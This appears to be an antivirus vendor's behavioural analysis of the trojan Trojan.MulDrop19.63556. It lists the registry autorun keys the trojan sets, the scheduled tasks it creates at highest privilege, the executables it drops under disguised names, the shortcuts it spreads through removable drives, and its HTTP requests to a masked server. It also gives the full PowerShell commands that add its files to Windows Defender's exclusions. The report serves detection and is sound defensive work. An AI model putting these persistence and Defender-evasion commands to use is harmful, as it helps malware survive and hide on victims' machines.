Trojan.MulDrop19.63556

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'dwm' = '"C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'firefox' = '"%ProgramFiles(x86)%\Windows Photo Viewer\en-US\firefox.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe", "%ProgramFiles(x86)%\Windows Ph...
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'smss' = '"C:\totalcmd\LANGUAGE\smss.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'iexplore' = '"%ALLUSERSPROFILE%\Desktop\iexplore.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'Idle' = '"<Current directory>\Idle.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"C:\Far2\FExcept\<File name>.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'spoolsv' = '"C:\Far2\Documentation\rus\spoolsv.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'iexplore' = '"%WINDIR%\TAPI\iexplore.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'Idle' = '"%ProgramFiles%\iamserv\Idle.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"%WINDIR%\PCHEALTH\ERRORREP\QHEADLES\<File name>.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'WUDFHost' = '"C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\WUDFHost.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'mdm' = '"<Current directory>\mdm.exe"'

Creates or modifies the following files

<SYSTEM32>\tasks\l5v7dwm
<SYSTEM32>\tasks\spoolsv
<SYSTEM32>\tasks\otntspoolsv
<SYSTEM32>\tasks\6fumspoolsv
<SYSTEM32>\tasks\vzmkiexplore
<SYSTEM32>\tasks\nt7uspoolsv
<SYSTEM32>\tasks\p3qaiexplore
<SYSTEM32>\tasks\d5wwidle
<SYSTEM32>\tasks\sznaiexplore
<SYSTEM32>\tasks\n2peidle
<SYSTEM32>\tasks\muzwidle
<SYSTEM32>\tasks\aprmwudfhost
<SYSTEM32>\tasks\xiaa<File name>
<SYSTEM32>\tasks\ngznwudfhost
<SYSTEM32>\tasks\ybfc<File name>
<SYSTEM32>\tasks\ojma<File name>
<SYSTEM32>\tasks\ixdvwudfhost
<SYSTEM32>\tasks\wudfhost
<SYSTEM32>\tasks\f3crmdm
<SYSTEM32>\tasks\qnpamdm
<SYSTEM32>\tasks\idle
<SYSTEM32>\tasks\wmdhmdm
<SYSTEM32>\tasks\<File name>
<SYSTEM32>\tasks\a0rl<File name>
<SYSTEM32>\tasks\udnxdwm
<SYSTEM32>\tasks\comrdwm
<SYSTEM32>\tasks\0z99firefox
<SYSTEM32>\tasks\dwm
<SYSTEM32>\tasks\b3x2firefox
<SYSTEM32>\tasks\6sbxfirefox
<SYSTEM32>\tasks\smss
<SYSTEM32>\tasks\firefox
<SYSTEM32>\tasks\ldtmsmss
<SYSTEM32>\tasks\qmphsmss
<SYSTEM32>\tasks\oxyosmss
<SYSTEM32>\tasks\uoluiexplore
<SYSTEM32>\tasks\tputiexplore
<SYSTEM32>\tasks\zynriexplore
<SYSTEM32>\tasks\pdh6idle
<SYSTEM32>\tasks\iiehidle
<SYSTEM32>\tasks\iexplore
<SYSTEM32>\tasks\gz8aidle
<SYSTEM32>\tasks\want<File name>
<SYSTEM32>\tasks\rf9y<File name>
<SYSTEM32>\tasks\mdm

Creates the following files on removable media

<Drive name for removable media>:\09aa4249cbb60b00db3c9be3c4e8a822.exe
<Drive name for removable media>:\notepad.lnk
<Drive name for removable media>:\aoc_saq_d_v3_merchant.lnk
<Drive name for removable media>:\issi2013_template_for_posters.lnk
<Drive name for removable media>:\nwfieldnotes1966.lnk
<Drive name for removable media>:\adhd_and_obesity.lnk
<Drive name for removable media>:\glidescope_review_rev_010.lnk
<Drive name for removable media>:\sdszfo.lnk
<Drive name for removable media>:\cveuropeo.lnk
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.lnk
<Drive name for removable media>:\hanni_umami_chapter.lnk
<Drive name for removable media>:\weeklysheet1215.lnk
<Drive name for removable media>:\ovp25012015.lnk
<Drive name for removable media>:\february_catalogue__2015.lnk
<Drive name for removable media>:\sdksampleunprivdeveloper.lnk
<Drive name for removable media>:\wrar520.lnk
<Drive name for removable media>:\contosoroot_1.lnk
<Drive name for removable media>:\sdkfailsafeemulator.lnk
<Drive name for removable media>:\contosoroot.lnk
<Drive name for removable media>:\contoso_1.lnk
<Drive name for removable media>:\pmd.lnk
<Drive name for removable media>:\dashborder_144.lnk
<Drive name for removable media>:\dial.lnk
<Drive name for removable media>:\dashborder_96.lnk
<Drive name for removable media>:\default.lnk
<Drive name for removable media>:\dashborder_192.lnk
<Drive name for removable media>:\dialmap.lnk
<Drive name for removable media>:\coffee.lnk
<Drive name for removable media>:\toolbar.lnk
<Drive name for removable media>:\join.lnk
<Drive name for removable media>:\000814251_video_01.lnk
<Drive name for removable media>:\testcertificate.lnk
<Drive name for removable media>:\winmine.lnk

Modifies file system

Creates the following files

C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\dwm.exe
%TEMP%\upyfsm3jce
<Current directory>\559fba5f8e4410
<Current directory>\mdm.exe
C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\480b7989c529f6
C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\wudfhost.exe
%WINDIR%\pchealth\errorrep\qheadles\b2e1f5552deee2
%WINDIR%\pchealth\errorrep\qheadles\<File name>.exe
%ProgramFiles%\iamserv\6ccacd8608530f
%ProgramFiles%\iamserv\idle.exe
%WINDIR%\tapi\9db6e019d4f04e
%WINDIR%\tapi\iexplore.exe
%TEMP%\601z12canq.bat
C:\far2\documentation\rus\f3b6ecef712a24
C:\far2\fexcept\b2e1f5552deee2
C:\far2\fexcept\<File name>.exe
<Current directory>\6ccacd8608530f
<Current directory>\idle.exe
%ALLUSERSPROFILE%\desktop\9db6e019d4f04e
%ALLUSERSPROFILE%\desktop\iexplore.exe
C:\totalcmd\language\69ddcba757bf72
C:\totalcmd\language\smss.exe
%ProgramFiles(x86)%\windows photo viewer\en-us\0fc223bdacedc3
%ProgramFiles(x86)%\windows photo viewer\en-us\firefox.exe
C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\6cb0b6c459d5d3
C:\far2\documentation\rus\spoolsv.exe
nul

Sets the 'hidden' attribute to the following files

<Drive name for removable media>:\09aa4249cbb60b00db3c9be3c4e8a822.exe

Deletes the following files

%TEMP%\upyfsm3jce

Network activity

Connects to

'18#.#20.229.5':80

TCP

HTTP GET requests

http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?RT########################################################################################################################################...
http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?c4########################################################################################################################################...

UDP

'localhost':123

Miscellaneous

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\totalcmd\LANGUAGE\smss.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\FExcept\<File name>.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\iamserv\Idle.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Current directory>\mdm.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Desktop\iexplore.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Current directory>\Idle.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\Documentation\rus\spoolsv.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\TAPI\iexplore.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\PCHEALTH\ERRORREP\QHEADLES\<File name>.exe'
'%WINDIR%\pchealth\errorrep\qheadles\<File name>.exe'
'<SYSTEM32>\cmd.exe' /C "%TEMP%\601Z12Canq.bat"' (with hidden window)

Executes the following

'<SYSTEM32>\schtasks.exe' /create /tn "L5v7dwm" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "SZNaiexplore" /sc ONSTART /tr "'%WINDIR%\TAPI\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc MINUTE /mo 11 /tr "'%WINDIR%\TAPI\iexplore.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "n2peIdle" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\iamserv\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "MuzWIdle" /sc ONLOGON /tr "'%ProgramFiles%\iamserv\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "D5wwIdle" /sc ONSTART /tr "'%ProgramFiles%\iamserv\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc MINUTE /mo 13 /tr "'%ProgramFiles%\iamserv\Idle.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "XIAa<File name>" /sc MINUTE /mo 12 /tr "'%WINDIR%\PCHEALTH\ERRORREP\QHEADLES\<File name>.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "ojmA<File name>" /sc ONLOGON /tr "'%WINDIR%\PCHEALTH\ERRORREP\QHEADLES\<File name>.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "YBFC<File name>" /sc ONSTART /tr "'%WINDIR%\PCHEALTH\ERRORREP\QHEADLES\<File name>.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "<File name>" /sc MINUTE /mo 12 /tr "'%WINDIR%\PCHEALTH\ERRORREP\QHEADLES\<File name>.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "zyNriexplore" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Desktop\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "aprMWUDFHost" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "ixdvWUDFHost" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "wmdHmdm" /sc MINUTE /mo 9 /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "F3CRmdm" /sc ONLOGON /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "qnPAmdm" /sc ONSTART /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc MINUTE /mo 12 /tr "'<Current directory>\mdm.exe'" /f
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Windows Photo Viewer\en-US\firefox.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\WUDFHost.exe'
'<SYSTEM32>\schtasks.exe' /create /tn "vzMKiexplore" /sc MINUTE /mo 10 /tr "'%WINDIR%\TAPI\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "P3Qaiexplore" /sc ONLOGON /tr "'%WINDIR%\TAPI\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc MINUTE /mo 5 /tr "'C:\Far2\Documentation\rus\spoolsv.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "6FUmspoolsv" /sc ONSTART /tr "'C:\Far2\Documentation\rus\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "nT7Uspoolsv" /sc ONLOGON /tr "'C:\Far2\Documentation\rus\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "COmRdwm" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "b3X2firefox" /sc MINUTE /mo 8 /tr "'%ProgramFiles(x86)%\Windows Photo Viewer\en-US\firefox.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "0z99firefox" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Windows Photo Viewer\en-US\firefox.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "6sbXfirefox" /sc ONSTART /tr "'%ProgramFiles(x86)%\Windows Photo Viewer\en-US\firefox.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc MINUTE /mo 8 /tr "'%ProgramFiles(x86)%\Windows Photo Viewer\en-US\firefox.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "lDtMsmss" /sc MINUTE /mo 8 /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "OxYosmss" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "QMPhsmss" /sc ONSTART /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc MINUTE /mo 8 /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /f
'<SYSTEM32>\cmd.exe' /C "%TEMP%\601Z12Canq.bat"
'<SYSTEM32>\schtasks.exe' /create /tn "NGZNWUDFHost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "uoLuiexplore" /sc MINUTE /mo 5 /tr "'%ALLUSERSPROFILE%\Desktop\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc MINUTE /mo 9 /tr "'%ALLUSERSPROFILE%\Desktop\iexplore.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "pDh6Idle" /sc MINUTE /mo 11 /tr "'<Current directory>\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Gz8AIdle" /sc ONLOGON /tr "'<Current directory>\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "iIeHIdle" /sc ONSTART /tr "'<Current directory>\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc MINUTE /mo 7 /tr "'<Current directory>\Idle.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "want<File name>" /sc MINUTE /mo 11 /tr "'C:\Far2\FExcept\<File name>.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "rf9Y<File name>" /sc ONLOGON /tr "'C:\Far2\FExcept\<File name>.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "a0Rl<File name>" /sc ONSTART /tr "'C:\Far2\FExcept\<File name>.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "<File name>" /sc MINUTE /mo 12 /tr "'C:\Far2\FExcept\<File name>.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "otNTspoolsv" /sc MINUTE /mo 6 /tr "'C:\Far2\Documentation\rus\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "udNXdwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "tpUtiexplore" /sc ONSTART /tr "'%ALLUSERSPROFILE%\Desktop\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial